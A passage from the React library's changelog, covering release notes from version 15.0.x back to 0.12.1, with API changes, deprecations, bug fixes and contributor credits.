Restore support for rendering into a shadow root. ([@Wildhoney](https://github.com/Wildhoney) in [#6462](https://github.com/facebook/react/pull/6462))\n- Ensure nested `<body>` elements are caught when warning for invalid markup. ([@keyanzhang](https://github.com/keyanzhang) in [#6469](https://github.com/facebook/react/pull/6469))\n- Improve warning when encountering multiple elements with the same key. ([@hkal](https://github.com/hkal) in [#6500](https://github.com/facebook/react/pull/6500))\n\n### React TestUtils Add-on\n- Ensure that functional components do not have an owner. ([@gaearon](https://github.com/gaearon) in [#6362](https://github.com/facebook/react/pull/6362))\n- Handle invalid arguments to `scryRenderedDOMComponentsWithClass` better. ([@ipeters90](https://github.com/ipeters90) in [#6529](https://github.com/facebook/react/pull/6529))\n\n### React Perf Add-on\n- Ignore DOM operations that occur outside the batch operation. ([@gaearon](https://github.com/gaearon) in [#6516](https://github.com/facebook/react/pull/6516))\n\n### React Native Renderer\n- These files are now shipped inside the React npm package. They have no impact on React core or ReactDOM.\n\n\n## 15.0.1 (April 8, 2016)\n\n### React\n- Restore `React.__spread` API to unbreak code compiled with some tools making use of this undocumented API. It is now officially deprecated. ([@zpao](https://github.com/zpao) in [#6444](https://github.com/facebook/react/pull/6444))\n\n### ReactDOM\n- Fixed issue resulting in loss of cursor position in controlled inputs. ([@sophiebits](https://github.com/sophiebits) in [#6449](https://github.com/facebook/react/pull/6449))\n\n\n## 15.0.0 (April 7, 2016)\n\n### Major changes\n\n- **Initial render now uses `document.createElement` instead of generating HTML.** Previously we would generate a large string of HTML and then set `node.innerHTML`. At the time, this was decided to be faster than using `document.createElement` for the majority of cases and browsers that we supported. Browsers have continued to improve and so overwhelmingly this is no longer true. By using `createElement` we can make other parts of React faster. ([@sophiebits](https://github.com/sophiebits) in [#5205](https://github.com/facebook/react/pull/5205))\n- **`data-reactid` is no longer on every node.** As a result of using `document.createElement`, we can prime the node cache as we create DOM nodes, allowing us to skip a potential lookup (which used the `data-reactid` attribute). Root nodes will have a `data-reactroot` attribute and server generated markup will still contain `data-reactid`. ([@sophiebits](https://github.com/sophiebits) in [#5205](https://github.com/facebook/react/pull/5205))\n- **No more extra `<span>`s.** ReactDOM will now render plain text nodes interspersed with comment nodes that are used for demarcation. This gives us the same ability to update individual pieces of text, without creating extra nested nodes. If you were targeting these `<span>`s in your CSS, you will need to adjust accordingly. You can always render them explicitly in your components. ([@mwiencek](https://github.com/mwiencek) in [#5753](https://github.com/facebook/react/pull/5753))\n- **Rendering `null` now uses comment nodes.** Previously `null` would render to `<noscript>` elements. We now use comment nodes. This may cause issues if making use of `:nth-child` CSS selectors. While we consider this rendering behavior an implementation detail of React, it's worth noting the potential problem. ([@sophiebits](https://github.com/sophiebits) in [#5451](https://github.com/facebook/react/pull/5451))\n- **Functional components can now return `null`.** We added support for [defining stateless components as functions](/react/blog/2015/09/10/react-v0.14-rc1.html#stateless-function-components) in React 0.14. However, React 0.14 still allowed you to define a class component without extending `React.Component` or using `React.createClass()`, so [we couldn’t reliably tell if your component is a function or a class](https://github.com/facebook/react/issues/5355), and did not allow returning `null` from it. This issue is solved in React 15, and you can now return `null` from any component, whether it is a class or a function. ([@jimfb](https://github.com/jimfb) in [#5884](https://github.com/facebook/react/pull/5884))\n- **Improved SVG support.** All SVG tags are now fully supported. (Uncommon SVG tags are not present on the `React.DOM` element helper, but JSX and `React.createElement` work on all tag names.) All SVG attributes that are implemented by the browsers should be supported too. If you find any attributes that we have missed, please [let us know in this issue](https://github.com/facebook/react/issues/1657). ([@zpao](https://github.com/zpao) in [#6243](https://github.com/facebook/react/pull/6243))\n\n### Breaking changes\n\n- **No more extra `<span>`s.**\n- **`React.cloneElement()` now resolves `defaultProps`.** We fixed a bug in `React.cloneElement()` that some components may rely on. If some of the `props` received by `cloneElement()` are `undefined`, it used to return an element with `undefined` values for those props. We’re changing it to be consistent with `createElement()`. Now any `undefined` props passed to `cloneElement()` are resolved to the corresponding component’s `defaultProps`. ([@truongduy134](https://github.com/truongduy134) in [#5997](https://github.com/facebook/react/pull/5997))\n- **`ReactPerf.getLastMeasurements()` is opaque.** This change won’t affect applications but may break some third-party tools. We are [revamping `ReactPerf` implementation](https://github.com/facebook/react/pull/6046) and plan to release it during the 15.x cycle. The internal performance measurement format is subject to change so, for the time being, we consider the return value of `ReactPerf.getLastMeasurements()` an opaque data structure that should not be relied upon. ([@gaearon](https://github.com/gaearon) in [#6286](https://github.com/facebook/react/pull/6286))\n\n#### Removed deprecations\n\nThese deprecations were introduced nine months ago in v0.14 with a warning and are removed:\n\n- Deprecated APIs are removed from the `React` top-level export: `findDOMNode`, `render`, `renderToString`, `renderToStaticMarkup`, and `unmountComponentAtNode`. As a reminder, they are now available on `ReactDOM` and `ReactDOMServer`. ([@jimfb](https://github.com/jimfb) in [#5832](https://github.com/facebook/react/pull/5832))\n- Deprecated addons are removed: `batchedUpdates` and `cloneWithProps`. ([@jimfb](https://github.com/jimfb) in [#5859](https://github.com/facebook/react/pull/5859), [@zpao](https://github.com/zpao) in [#6016](https://github.com/facebook/react/pull/6016))\n- Deprecated component instance methods are removed: `setProps`, `replaceProps`, and `getDOMNode`. ([@jimfb](https://github.com/jimfb) in [#5570](https://github.com/facebook/react/pull/5570))\n- Deprecated CommonJS `react/addons` entry point is removed. As a reminder, you should use separate `react-addons-*` packages instead. This only applies if you use the CommonJS builds. ([@gaearon](https://github.com/gaearon) in [#6285](https://github.com/facebook/react/pull/6285))\n- Passing `children` to void elements like `<input>` was deprecated, and now throws an error. ([@jonhester](https://github.com/jonhester) in [#3372](https://github.com/facebook/react/pull/3372))\n- React-specific properties on DOM `refs` (e.g. `this.refs.div.props`) were deprecated, and are removed now. ([@jimfb](https://github.com/jimfb) in [#5495](https://github.com/facebook/react/pull/5495))\n\n### New deprecations, introduced with a warning\n\nEach of these changes will continue to work as before with a new warning until the release of React 16 so you can upgrade your code gradually.\n\n- `LinkedStateMixin` and `valueLink` are now deprecated due to very low popularity. If you need this, you can use a wrapper component that implements the same behavior: [react-linked-input](https://www.npmjs.com/package/react-linked-input). ([@jimfb](https://github.com/jimfb) in [#6127](https://github.com/facebook/react/pull/6127))\n- Future versions of React will treat `<input value={null}>` as a request to clear the input. However, React 0.14 has been ignoring `value={null}`. React 15 warns you on a `null` input value and offers you to clarify your intention. To fix the warning, you may explicitly pass an empty string to clear a controlled input, or pass `undefined` to make the input uncontrolled. ([@antoaravinth](https://github.com/antoaravinth) in [#5048](https://github.com/facebook/react/pull/5048))\n- `ReactPerf.printDOM()` was renamed to `ReactPerf.printOperations()`, and `ReactPerf.getMeasurementsSummaryMap()` was renamed to `ReactPerf.getWasted()`. ([@gaearon](https://github.com/gaearon) in [#6287](https://github.com/facebook/react/pull/6287))\n\n### New helpful warnings\n\n- If you use a minified copy of the _development_ build, React DOM kindly encourages you to use the faster production build instead. ([@sophiebits](https://github.com/sophiebits) in [#5083](https://github.com/facebook/react/pull/5083))\n- React DOM: When specifying a unit-less CSS value as a string, a future version will not add `px` automatically. This version now warns in this case (ex: writing `style={{width: '300'}}`. Unitless *number* values like `width: 300` are unchanged. ([@pluma](https://github.com/pluma) in [#5140](https://github.com/facebook/react/pull/5140))\n- Synthetic Events will now warn when setting and accessing properties (which will not get cleared appropriately), as well as warn on access after an event has been returned to the pool. ([@kentcdodds](https://github.com/kentcdodds) in [#5940](https://github.com/facebook/react/pull/5940) and [@koba04](https://github.com/koba04) in [#5947](https://github.com/facebook/react/pull/5947))\n- Elements will now warn when attempting to read `ref` and `key` from the props. ([@prometheansacrifice](https://github.com/prometheansacrifice) in [#5744](https://github.com/facebook/react/pull/5744))\n- React will now warn if you pass a different `props` object to `super()` in the constructor. ([@prometheansacrifice](https://github.com/prometheansacrifice) in [#5346](https://github.com/facebook/react/pull/5346))\n- React will now warn if you call `setState()` inside `getChildContext()`. ([@raineroviir](https://github.com/raineroviir) in [#6121](https://github.com/facebook/react/pull/6121))\n- React DOM now attempts to warn for mistyped event handlers on DOM elements, such as `onclick` which should be `onClick`. ([@ali](https://github.com/ali) in [#5361](https://github.com/facebook/react/pull/5361))\n- React DOM now warns about `NaN` values in `style`. ([@jontewks](https://github.com/jontewks) in [#5811](https://github.com/facebook/react/pull/5811))\n- React DOM now warns if you specify both `value` and `defaultValue` for an input. ([@mgmcdermott](https://github.com/mgmcdermott) in [#5823](https://github.com/facebook/react/pull/5823))\n- React DOM now warns if an input switches between being controlled and uncontrolled. ([@TheBlasfem](https://github.com/TheBlasfem) in [#5864](https://github.com/facebook/react/pull/5864))\n- React DOM now warns if you specify `onFocusIn` or `onFocusOut` handlers as they are unnecessary in React. ([@jontewks](https://github.com/jontewks) in [#6296](https://github.com/facebook/react/pull/6296))\n- React now prints a descriptive error message when you pass an invalid callback as the last argument to `ReactDOM.render()`, `this.setState()`, or `this.forceUpdate()`. ([@conorhastings](https://github.com/conorhastings) in [#5193](https://github.com/facebook/react/pull/5193) and [@gaearon](https://github.com/gaearon) in [#6310](https://github.com/facebook/react/pull/6310))\n- Add-Ons: `TestUtils.Simulate()` now prints a helpful message if you attempt to use it with shallow rendering. ([@conorhastings](https://github.com/conorhastings) in [#5358](https://github.com/facebook/react/pull/5358))\n- PropTypes: `arrayOf()` and `objectOf()` provide better error messages for invalid arguments. ([@chicoxyzzy](https://github.com/chicoxyzzy) in [#5390](https://github.com/facebook/react/pull/5390))\n\n### Notable bug fixes\n\n- Fixed multiple small memory leaks. ([@sophiebits](https://github.com/sophiebits) in [#4983](https://github.com/facebook/react/pull/4983) and [@victor-homyakov](https://github.com/victor-homyakov) in [#6309](https://github.com/facebook/react/pull/6309))\n- Input events are handled more reliably in IE 10 and IE 11; spurious events no longer fire when using a placeholder. ([@jquense](https://github.com/jquense) in [#4051](https://github.com/facebook/react/pull/4051))\n- The `componentWillReceiveProps()` lifecycle method is now consistently called when `context` changes. ([@milesj](https://github.com/milesj) in [#5787](https://github.com/facebook/react/pull/5787))\n- `React.cloneElement()` doesn’t append slash to an existing `key` when used inside `React.Children.map()`. ([@ianobermiller](https://github.com/ianobermiller) in [#5892](https://github.com/facebook/react/pull/5892))\n- React DOM now supports the `cite` and `profile` HTML attributes. ([@AprilArcus](https://github.com/AprilArcus) in [#6094](https://github.com/facebook/react/pull/6094) and [@saiichihashimoto](https://github.com/saiichihashimoto) in [#6032](https://github.com/facebook/react/pull/6032))\n- React DOM now supports `cssFloat`, `gridRow` and `gridColumn` CSS properties. ([@stevenvachon](https://github.com/stevenvachon) in [#6133](https://github.com/facebook/react/pull/6133) and  [@mnordick](https://github.com/mnordick) in [#4779](https://github.com/facebook/react/pull/4779))\n- React DOM now correctly handles `borderImageOutset`, `borderImageWidth`, `borderImageSlice`, `floodOpacity`, `strokeDasharray`, and `strokeMiterlimit` as unitless CSS properties. ([@rofrischmann](https://github.com/rofrischmann) in [#6210](https://github.com/facebook/react/pull/6210) and [#6270](https://github.com/facebook/react/pull/6270))\n- React DOM now supports the `onAnimationStart`, `onAnimationEnd`, `onAnimationIteration`, `onTransitionEnd`, and `onInvalid` events. Support for `onLoad` has been added to `object` elements. ([@tomduncalf](https://github.com/tomduncalf) in [#5187](https://github.com/facebook/react/pull/5187),  [@milesj](https://github.com/milesj) in [#6005](https://github.com/facebook/react/pull/6005), and [@ara4n](https://github.com/ara4n) in [#5781](https://github.com/facebook/react/pull/5781))\n- React DOM now defaults to using DOM attributes instead of properties, which fixes a few edge case bugs. Additionally the nullification of values (ex: `href={null}`) now results in the forceful removal, no longer trying to set to the default value used by browsers in the absence of a value. ([@syranide](https://github.com/syranide) in [#1510](https://github.com/facebook/react/pull/1510))\n- React DOM does not mistakenly coerce `children` to strings for Web Components. ([@jimfb](https://github.com/jimfb) in [#5093](https://github.com/facebook/react/pull/5093))\n- React DOM now correctly normalizes SVG `<use>` events. ([@edmellum](https://github.com/edmellum) in [#5720](https://github.com/facebook/react/pull/5720))\n- React DOM does not throw if a `<select>` is unmounted while its `onChange` handler is executing. ([@sambev](https://github.com/sambev) in [#6028](https://github.com/facebook/react/pull/6028))\n- React DOM does not throw in Windows 8 apps. ([@Andrew8xx8](https://github.com/Andrew8xx8) in [#6063](https://github.com/facebook/react/pull/6063))\n- React DOM does not throw when asynchronously unmounting a child with a `ref`. ([@yiminghe](https://github.com/yiminghe) in [#6095](https://github.com/facebook/react/pull/6095))\n- React DOM no longer forces synchronous layout because of scroll position tracking. ([@syranide](https://github.com/syranide) in [#2271](https://github.com/facebook/react/pull/2271))\n- `Object.is` is used in a number of places to compare values, which leads to fewer false positives, especially involving `NaN`. In particular, this affects the `shallowCompare` add-on. ([@chicoxyzzy](https://github.com/chicoxyzzy) in [#6132](https://github.com/facebook/react/pull/6132))\n- Add-Ons: ReactPerf no longer instruments adding or removing an event listener because they don’t really touch the DOM due to event delegation. ([@antoaravinth](https://github.com/antoaravinth) in [#5209](https://github.com/facebook/react/pull/5209))\n\n### Other improvements\n\n- React now uses `loose-envify` instead of `envify` so it installs fewer transitive dependencies. ([@qerub](https://github.com/qerub) in [#6303](https://github.com/facebook/react/pull/6303))\n- Shallow renderer now exposes `getMountedInstance()`. ([@glenjamin](https://github.com/glenjamin) in [#4918](https://github.com/facebook/react/pull/4918))\n- Shallow renderer now returns the rendered output from `render()`. ([@simonewebdesign](https://github.com/simonewebdesign) in [#5411](https://github.com/facebook/react/pull/5411))\n- React no longer depends on ES5 *shams* for `Object.create` and `Object.freeze` in older environments. It still, however, requires ES5 *shims* in those environments. ([@dgreensp](https://github.com/dgreensp) in [#4959](https://github.com/facebook/react/pull/4959))\n- React DOM now allows `data-` attributes with names that start with numbers. ([@nLight](https://github.com/nLight) in [#5216](https://github.com/facebook/react/pull/5216))\n- React DOM adds a new `suppressContentEditableWarning` prop for components like [Draft.js](https://draftjs.org/) that intentionally manage `contentEditable` children with React. ([@mxstbr](https://github.com/mxstbr) in [#6112](https://github.com/facebook/react/pull/6112))\n- React improves the performance for `createClass()` on complex specs. ([@sophiebits](https://github.com/sophiebits) in [#5550](https://github.com/facebook/react/pull/5550))\n\n## 0.14.10 (October 14, 2020)\n\n### React\n\n* Backport support for the [new JSX transform](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) to 0.14.x. ([@lunaruan](https://github.com/lunaruan) in [#18299](https://github.com/facebook/react/pull/18299) and [@gaearon](https://github.com/gaearon) in [#20024](https://github.com/facebook/react/pull/20024))\n\n## 0.14.8 (March 29, 2016)\n\n### React\n- Fixed memory leak when rendering on the server\n\n## 0.14.7 (January 28, 2016)\n\n### React\n- Fixed bug with `<option>` tags when using `dangerouslySetInnerHTML`\n- Fixed memory leak in synthetic event system\n\n### React TestUtils Add-on\n- Fixed bug with calling `setState` in `componentWillMount` when using shallow rendering\n\n\n## 0.14.6 (January 6, 2016)\n\n### React\n- Updated `fbjs` dependency to pick up change affecting handling of undefined document.\n\n\n## 0.14.5 (December 29, 2015)\n\n### React\n- More minor internal changes for better compatibility with React Native\n\n\n## 0.14.4 (December 29, 2015)\n\n### React\n- Minor internal changes for better compatibility with React Native\n\n### React DOM\n- The `autoCapitalize` and `autoCorrect` props are now set as attributes in the DOM instead of properties to improve cross-browser compatibility\n- Fixed bug with controlled `<select>` elements not handling updates properly\n\n### React Perf Add-on\n- Some DOM operation names have been updated for clarity in the output of `.printDOM()`\n\n\n## 0.14.3 (November 18, 2015)\n\n### React DOM\n- Added support for `nonce` attribute for `<script>` and `<style>` elements\n- Added support for `reversed` attribute for `<ol>` elements\n\n### React TestUtils Add-on\n- Fixed bug with shallow rendering and function refs\n\n### React CSSTransitionGroup Add-on\n- Fixed bug resulting in timeouts firing incorrectly when mounting and unmounting rapidly\n\n### React on Bower\n- Added `react-dom-server.js` to expose `renderToString` and `renderToStaticMarkup` for usage in the browser\n\n\n## 0.14.2 (November 2, 2015)\n\n### React DOM\n- Fixed bug with development build preventing events from firing in some versions of Internet Explorer & Edge\n- Fixed bug with development build when using es5-sham in older versions of Internet Explorer\n- Added support for `integrity` attribute\n- Fixed bug resulting in `children` prop being coerced to a string for custom elements, which was not the desired behavior\n- Moved `react` from `dependencies` to `peerDependencies` to match expectations and align with `react-addons-*` packages\n\n\n## 0.14.1 (October 28, 2015)\n\n### React DOM\n- Fixed bug where events wouldn't fire in old browsers when using React in development mode\n- Fixed bug preventing use of `dangerouslySetInnerHTML` with Closure Compiler Advanced mode\n- Added support for `srcLang`, `default`, and `kind` attributes for `<track>` elements\n- Added support for `color` attribute\n- Ensured legacy `.props` access on DOM nodes is updated on re-renders\n\n### React TestUtils Add-on\n- Fixed `scryRenderedDOMComponentsWithClass` so it works with SVG\n\n### React CSSTransitionGroup Add-on\n- Fix bug preventing `0` to be used as a timeout value\n\n### React on Bower\n- Added `react-dom.js` to `main` to improve compatibility with tooling\n\n\n## 0.14.0 (October 7, 2015)\n\n### Major changes\n\n- Split the main `react` package into two: `react` and `react-dom`.  This paves the way to writing components that can be shared between the web version of React and React Native.  This means you will need to include both files and some functions have been moved from `React` to `ReactDOM`.\n- Addons have been moved to separate packages (`react-addons-clone-with-props`, `react-addons-create-fragment`, `react-addons-css-transition-group`, `react-addons-linked-state-mixin`, `react-addons-perf`, `react-addons-pure-render-mixin`, `react-addons-shallow-compare`, `react-addons-test-utils`, `react-addons-transition-group`, `react-addons-update`, `ReactDOM.unstable_batchedUpdates`).\n- Stateless functional components - React components were previously created using React.createClass or using ES6 classes.  This release adds a [new syntax](https://reactjs.org/docs/reusable-components.html#stateless-functions) where a user defines a single [stateless render function](https://reactjs.org/docs/reusable-components.html#stateless-functions) (with one parameter: `props`) which returns a JSX element, and this function may be used as a component.\n- Refs to DOM components as the DOM node itself. Previously the only useful thing you can do with a DOM component is call `getDOMNode()` to get the underlying DOM node. Starting with this release, a ref to a DOM component _is_ the actual DOM node. **Note that refs to custom (user-defined) components work exactly as before; only the built-in DOM components are affected by this change.**\n\n\n### Breaking changes\n\n- `React.initializeTouchEvents` is no longer necessary and has been removed completely. Touch events now work automatically.\n- Add-Ons: Due to the DOM node refs change mentioned above, `TestUtils.findAllInRenderedTree` and related helpers are no longer able to take a DOM component, only a custom component.\n- The `props` object is now frozen, so mutating props after creating a component element is no longer supported. In most cases, [`React.cloneElement`](https://reactjs.org/docs/react-api.html#cloneelement) should be used instead. This change makes your components easier to reason about and enables the compiler optimizations mentioned above.\n- Plain objects are no longer supported as React children; arrays should be used instead. You can use the [`createFragment`](https://reactjs.org/docs/create-fragment.html) helper to migrate, which now returns an array.\n- Add-Ons: `classSet` has been removed. Use [classnames](https://github.com/JedWatson/classnames) instead.\n- Web components (custom elements) now use native property names.  Eg: `class` instead of `className`.\n\n### Deprecations\n\n- `this.getDOMNode()` is now deprecated and `ReactDOM.findDOMNode(this)` can be used instead. Note that in the common case, `findDOMNode` is now unnecessary since a ref to the DOM component is now the actual DOM node.\n- `setProps` and `replaceProps` are now deprecated. Instead, call ReactDOM.render again at the top level with the new props.\n- ES6 component classes must now extend `React.Component` in order to enable stateless function components. The [ES3 module pattern](https://reactjs.org/blog/2015/01/27/react-v0.13.0-beta-1.html#other-languages) will continue to work.\n- Reusing and mutating a `style` object between renders has been deprecated. This mirrors our change to freeze the `props` object.\n- Add-Ons: `cloneWithProps` is now deprecated. Use [`React.cloneElement`](https://reactjs.org/docs/react-api.html#cloneelement) instead (unlike `cloneWithProps`, `cloneElement` does not merge `className` or `style` automatically; you can merge them manually if needed).\n- Add-Ons: To improve reliability, `CSSTransitionGroup` will no longer listen to transition events. Instead, you should specify transition durations manually using props such as `transitionEnterTimeout={500}`.\n\n### Notable enhancements\n\n- Added `React.Children.toArray` which takes a nested children object and returns a flat array with keys assigned to each child. This helper makes it easier to manipulate collections of children in your `render` methods, especially if you want to reorder or slice `this.props.children` before passing it down. In addition, `React.Children.map` now returns plain arrays too.\n- React uses `console.error` instead of `console.warn` for warnings so that browsers show a full stack trace in the console. (Our warnings appear when you use patterns that will break in future releases and for code that is likely to behave unexpectedly, so we do consider our warnings to be “must-fix” errors.)\n- Previously, including untrusted objects as React children [could result in an XSS security vulnerability](http://danlec.com/blog/xss-via-a-spoofed-react-element). This problem should be avoided by properly validating input at the application layer and by never passing untrusted objects around your application code. As an additional layer of protection, [React now tags elements](https://github.com/facebook/react/pull/4832) with a specific [ES2015 (ES6) `Symbol`](http://www.2ality.com/2014/12/es6-symbols.html) in browsers that support it, in order to ensure that React never considers untrusted JSON to be a valid element. If this extra security protection is important to you, you should add a `Symbol` polyfill for older browsers, such as the one included by [Babel’s polyfill](https://babeljs.io/docs/usage/polyfill/).\n- When possible, React DOM now generates XHTML-compatible markup.\n- React DOM now supports these standard HTML attributes: `capture`, `challenge`, `inputMode`, `is`, `keyParams`, `keyType`, `minLength`, `summary`, `wrap`. It also now supports these non-standard attributes: `autoSave`, `results`, `security`.\n- React DOM now supports these SVG attributes, which render into namespaced attributes: `xlinkActuate`, `xlinkArcrole`, `xlinkHref`, `xlinkRole`, `xlinkShow`, `xlinkTitle`, `xlinkType`, `xmlBase`, `xmlLang`, `xmlSpace`.\n- The `image` SVG tag is now supported by React DOM.\n- In React DOM, arbitrary attributes are supported on custom elements (those with a hyphen in the tag name or an `is=\"...\"` attribute).\n- React DOM now supports these media events on `audio` and `video` tags: `onAbort`, `onCanPlay`, `onCanPlayThrough`, `onDurationChange`, `onEmptied`, `onEncrypted`, `onEnded`, `onError`, `onLoadedData`, `onLoadedMetadata`, `onLoadStart`, `onPause`, `onPlay`, `onPlaying`, `onProgress`, `onRateChange`, `onSeeked`, `onSeeking`, `onStalled`, `onSuspend`, `onTimeUpdate`, `onVolumeChange`, `onWaiting`.\n- Many small performance improvements have been made.\n- Many warnings show more context than before.\n- Add-Ons: A [`shallowCompare`](https://github.com/facebook/react/pull/3355) add-on has been added as a migration path for `PureRenderMixin` in ES6 classes.\n- Add-Ons: `CSSTransitionGroup` can now use [custom class names](https://github.com/facebook/react/blob/48942b85/docs/docs/10.1-animation.md#custom-classes) instead of appending `-enter-active` or similar to the transition name.\n\n### New helpful warnings\n\n- React DOM now warns you when nesting HTML elements invalidly, which helps you avoid surprising errors during updates.\n- Passing `document.body` directly as the container to `ReactDOM.render` now gives a warning as doing so can cause problems with browser extensions that modify the DOM.\n- Using multiple instances of React together is not supported, so we now warn when we detect this case to help you avoid running into the resulting problems.\n\n### Notable bug fixes\n\n- Click events are handled by React DOM more reliably in mobile browsers, particularly in Mobile Safari.\n- SVG elements are created with the correct namespace in more cases.\n- React DOM now renders `<option>` elements with multiple text children properly and renders `<select>` elements on the server with the correct option selected.\n- When two separate copies of React add nodes to the same document (including when a browser extension uses React), React DOM tries harder not to throw exceptions during event handling.\n- Using non-lowercase HTML tag names in React DOM (e.g., `React.createElement('DIV')`) no longer causes problems, though we continue to recommend lowercase for consistency with the JSX tag name convention (lowercase names refer to built-in components, capitalized names refer to custom components).\n- React DOM understands that these CSS properties are unitless and does not append “px” to their values: `animationIterationCount`, `boxOrdinalGroup`, `flexOrder`, `tabSize`, `stopOpacity`.\n- Add-Ons: When using the test utils, `Simulate.mouseEnter` and `Simulate.mouseLeave` now work.\n- Add-Ons: ReactTransitionGroup now correctly handles multiple nodes being removed simultaneously.\n\n\n### React Tools / Babel\n\n#### Breaking Changes\n\n- The `react-tools` package and `JSXTransformer.js` browser file [have been deprecated](https://reactjs.org/blog/2015/06/12/deprecating-jstransform-and-react-tools.html). You can continue using version `0.13.3` of both, but we no longer support them and recommend migrating to [Babel](https://babeljs.io), which has built-in support for React and JSX.\n\n#### New Features\n\n- Babel 5.8.24 introduces **Inlining React elements:** The `optimisation.react.inlineElements` transform converts JSX elements to object literals like `{type: 'div', props: ...}` instead of calls to `React.createElement`.  This should only be enabled in production, since it disables some development warnings/checks.\n- Babel 5.8.24 introduces **Constant hoisting for React elements:** The `optimisation.react.constantElements` transform hoists element creation to the top level for subtrees that are fully static, which reduces calls to `React.createElement` and the resulting allocations. More importantly, it tells React that the subtree hasn’t changed so React can completely skip it when reconciling.  This should only be enabled in production, since it disables some development warnings/checks.\n\n\n## 0.13.3 (May 8, 2015)\n\n### React Core\n\n#### New Features\n\n* Added `clipPath` element and attribute for SVG\n* Improved warnings for deprecated methods in plain JS classes\n\n#### Bug Fixes\n\n* Loosened `dangerouslySetInnerHTML` restrictions so `{__html: undefined}` will no longer throw\n* Fixed extraneous context warning with non-pure `getChildContext`\n* Ensure `replaceState(obj)` retains prototype of `obj`\n\n### React with Add-ons\n\n### Bug Fixes\n\n* Test Utils: Ensure that shallow rendering works when components define `contextTypes`\n\n\n## 0.13.2 (April 18, 2015)\n\n### React Core\n\n#### New Features\n\n* Added `strokeDashoffset`, `flexPositive`, `flexNegative` to the list of unitless CSS properties\n* Added support for more DOM properties:\n  * `scoped` - for `<style>` elements\n  * `high`, `low`, `optimum` - for `<meter>` elements\n  * `unselectable` - IE-specific property to prevent user selection\n\n#### Bug Fixes\n\n* Fixed a case where re-rendering after rendering null didn't properly pass context\n* Fixed a case where re-rendering after rendering with `style={null}` didn't properly update `style`\n* Update `uglify` dependency to prevent a bug in IE8\n* Improved warnings\n\n### React with Add-Ons\n\n#### Bug Fixes\n\n* Immutability Helpers: Ensure it supports `hasOwnProperty` as an object key\n\n### React Tools\n\n* Improve documentation for new options\n\n\n## 0.13.1 (March 16, 2015)\n\n### React Core\n\n#### Bug Fixes\n\n* Don't throw when rendering empty `<select>` elements\n* Ensure updating `style` works when transitioning from `null`\n\n### React with Add-Ons\n\n#### Bug Fixes\n\n* TestUtils: Don't warn about `getDOMNode` for ES6 classes\n* TestUtils: Ensure wrapped full page components (`<html>`, `<head>`, `<body>`) are treated as DOM components\n* Perf: Stop double-counting DOM components\n\n### React Tools\n\n#### Bug Fixes\n\n* Fix option parsing for `--non-strict-es6module`\n\n\n## 0.13.0 (March 10, 2015)\n\n### React Core\n\n#### Breaking Changes\n\n* Deprecated patterns that warned in 0.12 no longer work: most prominently, calling component classes without using JSX or React.createElement and using non-component functions with JSX or createElement\n* Mutating `props` after an element is created is deprecated and will cause warnings in development mode; future versions of React will incorporate performance optimizations assuming that props aren't mutated\n* Static methods (defined in `statics`) are no longer autobound to the component class\n* `ref` resolution order has changed slightly such that a ref to a component is available immediately after its `componentDidMount` method is called; this change should be observable only if your component calls a parent component's callback within your `componentDidMount`, which is an anti-pattern and should be avoided regardless\n* Calls to `setState` in life-cycle methods are now always batched and therefore asynchronous. Previously the first call on the first mount was synchronous.\n* `setState` and `forceUpdate` on an unmounted component now warns instead of throwing. That avoids a possible race condition with Promises.\n* Access to most internal properties has been completely removed, including `this._pendingState` and `this._rootNodeID`.\n\n#### New Features\n\n* Support for using ES6 classes to build React components; see the [v0.13.0 beta 1 notes](https://reactjs.org/blog/2015/01/27/react-v0.13.0-beta-1.html) for details.\n* Added new top-level API `React.findDOMNode(component)`, which should be used in place of `component.getDOMNode()`. The base class for ES6-based components will not have `getDOMNode`. This change will enable some more patterns moving forward.\n* Added a new top-level API `React.cloneElement(el, props)` for making copies of React elements – see the [v0.13 RC2 notes](https://reactjs.org/blog/2015/03/03/react-v0.13-rc2.html#react.cloneelement) for more details.\n* New `ref` style, allowing a callback to be used in place of a name: `<Photo ref={(c) => this._photo = c} />` allows you to reference the component with `this._photo` (as opposed to `ref=\"photo\"` which gives `this.refs.photo`).\n* `this.setState()` can now take a function as the first argument for transactional state updates, such as `this.setState((state, props) => ({count: state.count + 1}));` – this means that you no longer need to use `this._pendingState`, which is now gone.\n* Support for iterators and immutable-js sequences as children.\n\n#### Deprecations\n\n* `ComponentClass.type` is deprecated. Just use `ComponentClass` (usually as `element.type === ComponentClass`).\n* Some methods that are available on `createClass`-based components are removed or deprecated from ES6 classes (`getDOMNode`, `replaceState`, `isMounted`, `setProps`, `replaceProps`).\n\n### React with Add-Ons\n\n#### New Features\n\n* [`React.addons.createFragment` was added](https://reactjs.org/docs/create-fragment.html) for adding keys to entire sets of children.\n\n#### Deprecations\n\n* `React.addons.classSet` is now deprecated. This functionality can be replaced with several freely available modules. [classnames](https://www.npmjs.com/package/classnames) is one such module.\n* Calls to `React.addons.cloneWithProps` can be migrated to use `React.cloneElement` instead – make sure to merge `style` and `className` manually if desired.\n\n### React Tools\n\n#### Breaking Changes\n\n* When transforming ES6 syntax, `class` methods are no longer enumerable by default, which requires `Object.defineProperty`; if you support browsers such as IE8, you can pass `--target es3` to mirror the old behavior\n\n#### New Features\n\n* `--target` option is available on the jsx command, allowing users to specify and ECMAScript version to target.\n  * `es5` is the default.\n  * `es3` restores the previous default behavior. An additional transform is added here to ensure the use of reserved words as properties is safe (eg `this.static` will become `this['static']` for IE8 compatibility).\n* The transform for the call spread operator has also been enabled.\n\n### JSXTransformer\n\n#### Breaking Changes\n\n* The return value of `transform` now contains `sourceMap` as a JS object already, not an instance of `SourceMapGenerator`.\n\n### JSX\n\n#### Breaking Changes\n* A change was made to how some JSX was parsed, specifically around the use of `>` or `}` when inside an element. Previously it would be treated as a string but now it will be treated as a parse error. The [`jsx_orphaned_brackets_transformer`](https://www.npmjs.com/package/jsx_orphaned_brackets_transformer) package on npm can be used to find and fix potential issues in your JSX code.\n\n\n## 0.12.2 (December 18, 2014)\n\n### React Core\n\n* Added support for more HTML attributes: `formAction`, `formEncType`, `formMethod`, `formTarget`, `marginHeight`, `marginWidth`\n* Added `strokeOpacity` to the list of unitless CSS properties\n* Removed trailing commas (allows npm module to be bundled and used in IE8)\n* Fixed bug resulting in error when passing `undefined` to `React.createElement` - now there is a useful warning\n\n### React Tools\n\n* JSX-related transforms now always use double quotes for props and `displayName`\n\n\n## 0.12.1 (November 18, 2014)\n\n### React Tools\n\n* Types transform updated with latest support\n* jstransform version updated with improved ES6 transforms\n* Explicit Esprima dependency removed in favor of using Esprima information exported by jstransform\n\n\n## 0.12.0 